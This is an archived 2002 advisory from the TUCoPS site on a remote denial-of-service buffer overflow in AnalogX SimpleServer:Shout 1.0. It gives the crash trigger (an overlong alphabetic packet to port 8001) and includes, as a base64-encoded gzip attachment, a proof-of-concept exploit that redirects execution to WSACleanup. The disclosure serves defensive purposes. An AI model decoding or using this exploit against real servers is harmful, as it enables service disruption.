Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Windows Net Apps :: win5498.htm

AnalogX\'s SimpleServer:Shout remote DoS



1st Jul 2002 [SBWID-5498]
COMMAND

	AnalogX\'s SimpleServer:Shout remote DoS

SYSTEMS AFFECTED

	AnalogX\'s SimpleServer:Shout v1.0

PROBLEM

	Robin Keir of Foundstone, Inc. released an adivosory  regarding  AnalogX
	[http://www.foundstone.com/advisories.htm]    [FS-062502-22-AXSH],    he
	found that a packet sent to port 8001 containing at least 348  bytes  of
	alphabetical  chars  along  with  2  carriage  returns  will  cause  the
	application to overflow.
	

	 Update (03 July 2002)

	 ======

	

	Auriemma Luigi [bugtest_at_sitoverde.com]  posted  a  proof  of  concept
	code and commented :
	

	If you send the chars for crash the server, it will continue to run  and
	serve other computers until the admin don\'t  close  the  Windows\'popup
	error  message  (tested  on  Win9x).  So  I  have  attached   a   simple
	proof-of-concept that not only crash the server, but it rewrite the  EIP
	with the address of WSACleanup() function, so ALL the  connections  will
	be closed and nobody can use the server  until  it  is  not  closed  and
	restarted.
	

	Content-Type: application/x-gzip;

	  name=\"http.tgz\"

	Content-Transfer-Encoding: base64

	Content-Description: Simple exploit code

	Content-Disposition: attachment; filename=\"http.tgz\"

	

	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

	HqerxUm35ekKbS5u2h2sPW6wks9HB4YCvb2jE0PDQ0FmDFoREmmYtcr28UV2Zg4QjCQ+6mqhBTdz

	7GD2qRQlJGGuwpa3qaLENAHRrQ7DBrSQ1dqSSO/Ym2AJk5BTNyOvTS2IXd5Y1LZIzOYmCnTsRONA

	/y0nyN9s+Gigb2JgKBgxjG2cGxzYx070cWd+sDBe44DBCuk9+QIn+raTelckAMTrzPt4ng7dwuh8

	qN44LDnyWjgpXgZOhCOjwcBBJx0IhUaHI8MTkZ4Qq6Bo/zw/y4Q0yMlPnIUSJy2YveCWYPdt2HqY

	1cWTghx3YKKlXCyASSTO0SV5hk0Kju8Ed1iFFc+MN2IFx0LiPehYpfFZcV8MwzM/KpkvVJItu3Eu

	0JsOomXGMk9BmFYETVckB9OIjfZf996nGvL7/9KS9r7UcYP9f6fb04H7f1dXFyQ8bP/f0e6q7v8/

	iDAti3xprcEdAM4ubCVnS3Are88xZlLzLMKWenVG1GIJR8XNk6MlXxzjYB5x4wlvl/EsBLNV0wpX

	qk27aVQRuBO7yxjvNTFW3M1aMrjbTQzLrnetWbwVdeRvhy2JPZ6ylqx4zWzNbK7J4t7akqm9w8Rk

	eQVuzdZpyVZxp27N2mXJanFZb83ebWJf/SnAmt/c56u9M1hye10m7spnC2sOt9llVn0Hseb3VPhP

	xduKNVO7VaVl7zTWfN7lxl3+8mPNau1IKzwrWYvotNLa6t3Kmt3sWLf4TGYtsNtCYPlznDWf2cVW

	f+Wz5O8wO1nFq6E1g9uawfT6aM3nKedb7VXTWkB7mb+s/m5qLcHscSs9yVpzmh1uxWdea9bO5W5u

	9XpszdxlyVz2JG3N2L3MLVZ+7LaWcK/VDL/Sg7qliE6Xtb2LD/XWXO6Veom9+FvzeKyUXek7AmsR

	Zvda/nWCNY/ZocyfN1hTVzhR2dcR1hxm37H4xsKaqcvKFsVvNax5uq142Oce1vRlC9vyT0YsmbrM

	7mD59Ykl271WE85KX7VYSzB7x40+nLGWUDb33NwnOtY2cK/uqOVfA1mIwF1epdMVvy+ypi+beG/w

	wZK1hPYKCbfyjZS1RPPAuZVPtMqk8UKc05OaSVTZt19ltKfKr/OK34uxezxGbnWLd6p6sK+GaqiG

	aqiGaqiGaqiGaqiGaqiGaqiGaqiGaqiGaqiGavg1h/8FWSrL+QBQAAA=

	

SOLUTION

	Check :
	

	http://www.analogx.com

	


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH